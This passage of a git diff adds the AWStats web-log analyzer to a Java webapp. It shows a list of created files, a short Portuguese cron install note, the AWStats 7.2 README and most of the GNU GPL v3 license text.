src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_f/awstats-tt-br.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_f/awstats-tt-cz.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_f/awstats-tt-en.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_f/awstats-tt-gl.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_f/awstats-tt-gr.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_f/awstats-tt-is.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_f/awstats-tt-it.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_f/awstats-tt-ru.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_m/awstats-tt-br.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_m/awstats-tt-cz.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_m/awstats-tt-en.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_m/awstats-tt-fr.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_m/awstats-tt-gl.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_m/awstats-tt-gr.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_m/awstats-tt-is.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_m/awstats-tt-it.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_m/awstats-tt-ru.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-al.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-ba.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-bg.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-br.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-ca.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-cn.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-cz.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-de.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-dk.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-en.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-es.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-fi.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-fr.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-gl.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-gr.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-hu.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-is.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-it.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-jp.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-kr.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-nb.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-nl.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-nn.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-pl.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-ro.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-ru.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-se.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-sk.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-sr.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-tr.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-tw.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-ua.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/blacklist.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/browsers.pm create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/browsers_phone.pm create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/domains.pm create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/mime.pm create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/operating_systems.pm create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/referer_spam.pm create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/robots.pm create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/search_engines.pm create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/status_http.pm create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/status_smtp.pm create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/worms.pm create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/observatorio.out create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/clusterinfo.pm create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/decodeutfkeys.pm create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/example/example.pm create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/export_to_csv.pm create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/geoip.pm create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/geoip_asn_maxmind.pm create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/geoip_city_maxmind.pm create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/geoip_isp_maxmind.pm create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/geoip_org_maxmind.pm create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/geoip_region_maxmind.pm create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/geoipfree.pm create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/graphapplet.pm create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/graphgooglechartapi.pm create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/hashfiles.pm create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/hostinfo.pm create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/ipv6.pm create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/rawlog.pm create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/timehires.pm create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/timezone.pm create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/tooltips.pm create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/urlalias.pm create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/userinfo.pm create mode 100644 src/main/webapp/monitoramento/wwwroot/classes/awgraphapplet.jar create mode 100644 src/main/webapp/monitoramento/wwwroot/classes/src/AWGraphApplet.java create mode 100644 src/main/webapp/monitoramento/wwwroot/classes/src/Makefile.pl create mode 100644 src/main/webapp/monitoramento/wwwroot/css/awstats_bw.css create mode 100644 src/main/webapp/monitoramento/wwwroot/css/awstats_default.css create mode 100644 src/main/webapp/monitoramento/wwwroot/js/awstats_misc_tracker.js diff --git a/src/main/webapp/monitoramento/LEIAME_INSTALACAO b/src/main/webapp/monitoramento/LEIAME_INSTALACAO new file mode 100644 index 0000000..814dc4f --- /dev/null +++ b/src/main/webapp/monitoramento/LEIAME_INSTALACAO @@ -0,0 +1,4 @@ +Para instalar o recurso de monitoramento, adicione a seguinte linha no CRON para que o script seja executado a cada 8 horas, +modificando apenas o caminho do diretorio ( [DIR] ); + +* 8 * * * [DIR]/monitoramento-ej/wwwroot/cgi-bin/awstats.sh &> /root/monitoramento-ej/wwwroot/cgi-bin/errors.txt diff --git a/src/main/webapp/monitoramento/README b/src/main/webapp/monitoramento/README new file mode 100644 index 0000000..ba9a994 --- /dev/null +++ b/src/main/webapp/monitoramento/README @@ -0,0 +1,165 @@ + +------------- AWStats -------------- + Advanced Web Statistics +------------------------------------ + +AWStats (Advanced Web Statistics) is a powerful, full-featured web server +logfile analyzer which shows you all your Web statistics including: visitors, +pages, hits, hours, search engines, keywords used to find your site, broken +links, robots and many more... + +It works with IIS 5.0+, Apache and all major web, wap, proxy, streaming +server log files (and even ftp servers or mail logs) on all Operating Systems. + +License: GNU GPL v3+ (GNU General Public License. See LICENSE file), + OSI Certified Open Source Software license. +Version: 7.2 +Release date: June 2013 +Platforms: All (Linux, NT, BSD, Solaris and other *NIX's, BeOS, OS/2...) +Author: Laurent Destailleur <eldy@users.sourceforge.net> +AWStats official web site and latest version: http://www.awstats.org + +I - Features and requirements of AWStats + I - 1) Features, what AWStats can show you + I - 2) Requirements for using AWStats + I - 3) Files +II - Install, Setup and Use AWStats +III - Benchmark +IV - About the author, license and support + + + +I - FEATURES AND REQUIREMENTS +------------------------------------ + +I - 1) Features + + A full log analysis enables AWStats to show you the following information: + * Number of VISITS and UNIQUE VISITORS + * Visits duration and last visits + * Authenticated users, and last authenticated visits + * Days of week and rush hours (pages, hits, KB for each day and hour) + * Domains/countries of hosts visitors (pages, hits, KB) + * Hosts list, last visits and unresolved IP addresses list + * Most viewed, entry and exit pages + * File types + * Web compression statistics (for mod_gzip or mod_deflate) + * Browsers used (pages, hits, kb for each browser) + * OS used (pages, hits, KB for each OS) + * Robot visits + * Worm attacks + * Download and continuation detection + * Search engines, keyphrases and keywords used to find your site + * HTTP errors (Page not found with last referer, etc,) + * Screen size report + * Number of times your site is "added to favourites bookmarks" + * Ratio of Browsers that support: Java, Flash, RealG2 reader, + Quicktime reader, WMA reader, PDF reader + * Cluster report for load balanced servers ratio + * Other personalized reports... + + It supports the following features as well: + * Can analyze all log formats + * Works from command line and from a browser as a CGI (with dynamic + filters capabilities for some charts) + * Update of statistics can be made on demand from the web interface and + not only from your scheduler + * Unlimited log file size, support split log files (load balancing system) + * Support 'nearly sorted' log files even for entry and exit pages + * Reverse DNS lookup before or during analysis, supports DNS cache files + * Country detection from IP location or domain name + * WhoIS links + * A lot of options/filters and plugins can be used + * Multi-named web sites supported (virtual servers) + * Cross Site Scripting Attacks protection + * Several languages + * No need of rare perl libraries + * Dynamic reports as CGI output + * Static reports in one or framed HTML or XHTML pages + * Experimental PDF export + * Look and colors can match your site design (CSS) + * Help and tooltips on HTML reported pages + * Easy to use (Just one configuration file to edit) + * Analysis database can be stored in XML format (for XSLT processing, ...) + * A Webmin module + * Free (GNU GPL) with sources (perl scripts) + * Available on all platforms + + +I - 2) Requirements + + To use AWStats CGI script, you need the following requirements: + * Your server must log web access in a log file you can read. + * To run awstats, from command line, your operating system must be able + to run perl scripts (.pl files). + * Perl module "Encode" must be available. + + To run awstats as a CGI (for real-time + statistics), your web server must also be able to run such scripts. + If not, you can solve this by downloading last Perl version at: + http://www.activestate.com/ActivePerl/ (Windows) + http://www.perl.com/pub/language/info/software.html (All OS) + + +I - 3) Files + + The distribution of AWStats package includes the following files: + README.TXT This file + docs/LICENSE GNU General Public Licence + docs/* AWStats documentation (setup/usage...) + wwwroot/cgi-bin/awstats.pl THE MAIN AWSTATS PROGRAM (CLI/CGI) + wwwroot/cgi-bin/awredir.pl A tool to track exit clicks + wwwroot/cgi-bin/awstats.model.conf An model configuration file + wwwroot/cgi-bin/lang Directory with languages files + wwwroot/cgi-bin/lib Directory with awstats reference info + wwwroot/cgi-bin/plugins Directory with optional plugins + wwwroot/icon/browser Directory with browsers icons + wwwroot/icon/clock Directory with clock icons + wwwroot/icon/cpu Directory with cpu icons + wwwroot/icon/flags Directory with country flag icons + wwwroot/icon/os Directory with OS icons + wwwroot/icon/other Directory with all others icons + wwwroot/classes Java applet for graphapplet plugin + wwwroot/css Samples of CSS files + wwwroot/js Javascript sources for "Misc" feature + tools/* Other provided tools + tools/webmin/awstats-x.x.wbm A Webmin module for AWStats + tools/xslt/awstats61.xsd AWStats XML database schema descriptor + tools/xslt/* Demo to manipulate AWStats XML database + + + +II - INSTALL, SETUP AND USE AWSTATS +----------------------------------- + +The documentation available for this release in HTML format is +in the docs/ directory. + +You can find a most up-to-date documentation at: +http://www.awstats.org + + + +III - BENCHMARK +----------------------------------- + +Tests and results are available in AWStats documentation, in docs/ directory. + + + +IV - ABOUT THE AUTHOR, LICENSE AND SUPPORT +----------------------------------------- +Copyright (C) 2000-2013 - Laurent Destailleur - eldy@users.sourceforge.net + +This program is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see <http://www.gnu.org/licenses/>. diff --git a/src/main/webapp/monitoramento/docs/COPYING.TXT b/src/main/webapp/monitoramento/docs/COPYING.TXT new file mode 100644 index 0000000..94a9ed0 --- /dev/null +++ b/src/main/webapp/monitoramento/docs/COPYING.TXT @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/> + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you 